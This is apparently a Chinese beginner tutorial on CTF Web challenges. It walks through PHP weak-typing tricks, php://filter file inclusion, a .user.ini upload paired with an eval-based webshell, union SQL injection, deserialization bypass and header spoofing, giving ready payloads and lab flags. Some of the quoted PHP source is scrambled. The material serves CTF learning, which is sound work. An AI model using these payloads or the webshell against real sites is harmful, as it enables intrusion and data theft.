很多刚入门网安、接触CTF的小伙伴,都会卡在Web题型看不懂、漏洞不会利用、Payload不会写的难题上。其实CTF Web入门题型套路固定、考点重复,吃透基础题型就能拿下80%的入门分值。
本文整理CTF Web赛道16种必考基础题型,涵盖文件包含、文件上传、SQL注入、反序列化、HTTP头绕过、弱口令绕过等核心考点,全程零基础友好,附带完整源码解析、绕过思路、实操步骤和Flag获取方式,搭配标准配图指引,新手可直接跟着复现刷题。
适合人群:CTF零基础新手、网安入门学习者、赛前刷题冲刺选手
学习收获:掌握Web基础漏洞核心原理、熟记通用Payload、学会BP抓包、伪协议利用、源码审计等实操技能
一、PHP弱类型绕过(参数校验漏洞)
题型原理
PHP存在经典弱类型特性:不同类型数据比较时,会自动进行类型转换。字符串与数字对比时,会截取字符串开头数字部分参与运算,剩余字符直接忽略,常用来绕过「非数字+数值大小」的矛盾校验条件。核心源码解析
// 双重矛盾校验条件if(is_array($c)&&!is_numeric($c["m"])&&$c["m"]>2022)校验逻辑拆解:
- 要求 $c[“m”]不是纯数字(!is_numeric)
- 同时要求 $c[“m”]数值大于2022
- 常规数值无法满足双重条件,必须利用PHP弱类型特性绕过
实战绕过思路
构造 2023x 格式参数:字符串非纯数字,满足!is_numeric;PHP自动截取开头2023,满足大于2022的条件。拓展数组弱类型绕过
另一组核心矛盾逻辑:array_search(“DGGJ”, $c[“n”]) 弱匹配(==)+ 遍历拦截,利用0匹配任意非数字字符串特性绕过,最终完整Payload:
?a=1e9&b=53724&c={“m”:“2023x”,“n”:[[],0]}
二、PHP文件包含伪协议绕过(双参数校验)
题型考点
核心考点:php://input 伪协议读取POST数据 + base64过滤器读取源码,是CTF文件包含最经典入门题型,重点考察双参数联动校验绕过。靶场源码
<?phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET["file1"])&&isset($_GET["file2"])){$file1=$_GET["file1"];$file2=$_GET["file2"];if(!empty($file1)&&!empty($file2)){// 严格匹配file2内容为hello ctfif(file_get_contents($file2)==="hello ctf"){include($file1);}}elsedie("NONONO");}?>- 漏洞难点分析
- file2 需要精准匹配字符串 hello ctf,无文件可直接利用
- file1 需要包含flag.php读取密钥
- 常规文件包含无法满足严格字符串匹配条件
- 完整绕过方案
- file2赋值:php://input(读取POST请求原始数据)
- file1赋值:base64过滤伪协议,读取flag源码
- POST传参:请求体写入 hello ctf,满足严格匹配
最终请求URL:
?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input
抓取响应Base64编码内容,解码后即可获取Flag:cyberpeace{4ac5762a8c1149754fecc0727f8245f4}
三、Cookie文件包含漏洞
- 漏洞核心
页面Cookie参数可控,源码直接拼接 .php 后缀执行包含,无过滤机制,可通过伪协议直接读取flag文件。 - 审计源码
<?phpif(!ini_get('display_errors')){ini_set('display_errors','On');}error_reporting(E_ALL);$lan=$_COOKIE['language'];if(!$lan){@setcookie("language","english");ish.php"); } else { // 可控Cookie拼接后缀包含文件 @include($lan.".p$x=file_get_contents('index.php');echo$x;?>hp"); } @include("engl- 实操步骤
①. BP抓取页面请求,新增Cookie字段:language=php://filter/read=convert.base64-encode/resource=flag
②. 发送请求获取Base64编码结果
③. 解码得到最终Flag:cyberpeace{b6408b005f630c84392534b561a3b11e}
四、.user.ini文件上传漏洞(绕过文件检测)
题型考点
利用PHP .user.ini 自定义配置文件特性,实现全局文件包含,适配Nginx/Apache/IIS全服务器环境,比.htaccess适配性更广,是文件上传高频考点。漏洞原理
auto_prepend_file 配置项可指定文件,让当前目录所有PHP文件执行前自动包含目标文件,配合图片马即可绕过文件格式检测,实现木马执行。上传绕过流程
步骤1:上传配置文件 .user.ini
文件内容(头部添加GIF文件头绕过检测):
GIF89a auto_prepend_file=a.jpg步骤2:上传图片木马 a.jpg
绕过PHP关键字检测,精简一句话木马:
GIF89a eval($_REQUEST['cmd']);步骤3:蚁剑连接GetShell
上传成功后,通过页面回显的uploads路径,使用蚁剑连接,遍历目录读取Flag:cyberpeace{ad52e4c9c059ea19ea336207a41e00e6}
五、基础SQL注入(万能密码绕过)
- 题型介绍
入门最简SQL数字型注入,无过滤无WAF,直接使用万能注释语句闭合SQL语句,绕过登录/参数校验。 - 核心Payload
数字型参数通用注入语句:?id=1’or 1=1 --+ - 原理说明
1=1 恒成立,–+ 注释后续SQL语句,破坏原有查询逻辑,查询出所有数据,直接回显Flag:cyberpeace{633662b2e55ddce9e7f32e26ee90c312}
六、Robots协议漏洞(目录泄露)
- 漏洞原理
robots.txt 是网站爬虫协议文件,用于声明禁止爬虫访问的目录/文件,CTF题型中常故意隐藏Flag文件路径,访问该文件即可泄露敏感文件地址。 - 实操步骤
①. 访问站点根目录下 /robots.txt
②. 读取禁止访问的文件名(如 f1ag_1s_h3re.php、fl0g.php)
③. 直接访问该PHP文件获取Flag
对应Flag:cyberpeace{dff1bac891dfcfef7f0cba9b39fcbe2a}、cyberpeace{1f090e38b1c328cf28a7753c3d663bba}
七、GET/POST双请求绕过
- 题型要求
- GET方式提交参数:a=1
- POST方式提交参数:b=2
- 实操方法
使用BP抓包,URL拼接GET参数,请求体写入POST参数,一次请求满足双重条件,直接回显Flag:cyberpeace{e0a58dc2367d2c8aa1108da5ccba97ff}
八、前端源码绕过(禁用按钮/右键限制)
题型场景
页面设置JS限制:禁用鼠标右键、按钮disabled不可点击,Flag隐藏在前端源码注释或按钮属性中。两种绕过方式
①. F12打开开发者工具,直接删除按钮 disabled 属性,点击按钮获取Flag
②. 查看页面源代码,检索注释内容,提取隐藏Flag
对应Flag:cyberpeace{48eefe6a357d126fa893206521526cde}、cyberpeace{911f212270286f4c4aa587e1216a9a49}
九、Cookie请求头漏洞
漏洞挖掘
页面响应头隐藏Cookie路径提示look-here: cookie.php,访问该文件并查看HTTP响应头,即可提取Flag。实操步骤
①. F12查看网络请求响应头,找到隐藏路径
②. 访问 cookie.php
③. 抓取响应报文,提取头部隐藏Flag
十、备份文件泄露漏洞
- 题型原理
网站开发、运维过程中常遗留源码备份文件(后缀.bak、.zip、.tmp),通过目录扫描工具可遍历获取,备份文件中直接包含源码与Flag。 - 实操流程
- 使用御剑目录扫描工具扫描站点
- 发现备份文件 index.php.bak
- 下载文件,打开直接读取Flag:Cyberpeace(855A1C4B3401294CB6604CCC98BDE334)
十一、整数暴力破解漏洞
题型特点
页面参数 ?id=1 无注入漏洞,仅为整数遍历校验,Flag隐藏在特定ID对应的页面中,需通过Burp爆破遍历获取。爆破配置
- 攻击模式:Sniper(单参数爆破)
- payload范围:1-3000整数遍历
- 通过响应长度差异,筛选异常页面获取Flag
十二、双层URL编码绕过
漏洞原理
源码对参数执行一次URL解码,直接传入明文 admin 会被拦截,通过双层编码绕过服务器过滤。绕过逻辑
- 小写a的十六进制编码:61
- 百分号%的十六进制编码:25
- 双层编码结果:%2561dmin,服务器解码一次后得到 admin,绕过校验
最终Payload:?id=%2561dmin,获取Flag:cyberpeace0c25fff22b21b0f68b09aade8aa71e4e
十三、PHP反序列化绕过(跳过wakeup)
核心原理
PHP反序列化特性:序列化字符串声明的属性数量 > 类实际属性数量 时,会触发反序列化异常,跳过 __wakeup() 魔术方法执行。源码与绕过步骤
靶场核心类:
classxctf{public$flag='111';// 触发即拦截请求publicfunction_wakeup(){exit("bad requests");}}正常序列化结果:O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
绕过修改:将属性数量1改为2,触发异常跳过wakeup,最终Payload:?code=O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
获取Flag:cyberpeace{5a57ccfb71b07663937c9c0dd1c036b9}
十四、双重弱类型变量绕过
- 双重校验条件
- $a==0 && $a:a弱等于0,且非空存在
- !is_numeric($b) && $b>1234:b非数字,数值大于1234
- 精准Payload
- a=0:满足弱等于0且存在
- b=1235c:非纯数字,PHP截取1235大于1234
最终URL:?a=0&b=1235c,Flag:Cyberpeace(647E37C7627CC3E4019EC69324F66C7C)
十五、联合查询SQL注入(高阶)
注入流程详解
针对搜索框无过滤注入,通过order by判字段数、union查回显位、查表/查字段/查数据完整流程获取Flag。分步Payload
①. 判断字段数:1’ order by 3#(共3个字段)
②. 查询回显位:1’ union select 1,2,3 #(2、3号位可回显)
③. 查询数据库名:1’ union select 1,database(),3 #
④. 查询数据表:1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() #
⑤. 十六进制查表字段(规避引号拦截):1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7365637265745f7461626c65 #
⑥. 查询Flag数据:1’ union select 1,fl4g,3 from secret_table #
最终Flag:QCTF{sq1_inJec7ion_ezzz}
十六、XFF请求头伪造漏洞
题型考点
页面限制指定IP访问,通过伪造 X-Forwarded-For 请求头,模拟指定客户端IP绕过访问限制。实操步骤
①. BP抓取页面GET请求
②. 新增请求头:X-Forwarded-For: 123.123.123.123
③. 发送请求,绕过IP校验获取Flag
十七、CTF通用解密算法(源码逆向)
- 加密源码分析
靶场给出加密字符串与自定义加密函数,需逆向算法编写解密脚本:
<?php$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";// 加密流程:字符串反转→ASCII+1→base64编码→rot13→再次反转functionencode($str){$_o=strrev($str);for($_0=0;$_0<strlen($_o);$_0++){$_c=substr($_o,$_0,1);$__=ord($_c)+1;$_c=chr($__);$_=$_.$_c;}returnstr_rot13(strrev(base64_encode($_)));}?>- 逆向解密脚本
<?php$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";functiondecode($str){// 逆序解密:反转rot13→base64解码→ASCII-1→字符串反转$a=base64_decode(strrev(str_rot13($str)));$res='';for($_0=0;$_0<strlen($a);$_0++){$_c=substr($a,$_0,1);$__=ord($_c)-1;$res.=chr($__);}returnstrrev($res);}echodecode($miwen);?>十八、零基础CTF Web刷题总结
本文覆盖的16类题型,是校赛、省赛、攻防世界、CTFHub的入门必考题型,所有漏洞均围绕PHP语言特性、HTTP协议、文件解析、数据库查询四大核心逻辑展开。
新手刷题核心思路:先审源码、再找可控点、利用语言/协议特性绕过、最后获取Flag,熟记本文Payload和绕过逻辑,可快速入门CTF Web赛道。
配套学习资料领取方式
为帮助零基础小伙伴系统吃透 CTF‑Web 漏洞,我整理了全套配套资源:
- 本文所有题目可运行 PHP 源码、Payload 集合;
- Burp Suite 配置包、目录扫描工具、蚁剑以及环境搭建教程;
- 1800 页 CTF 刷题手册、攻防世界真题解析;
- PHP 审计笔记、SQL 注入字典、反序列化学习文档;
- 网安大厂面试题库以及零基础网安学习路线图。
想要全套资料的朋友:
评论区回复【CTF 入门】,再私信发送关键词:01web,我会把网盘下载链接发给大家。
注意:资料全部免费,非商业用途,仅限学习交流,请勿私自倒卖。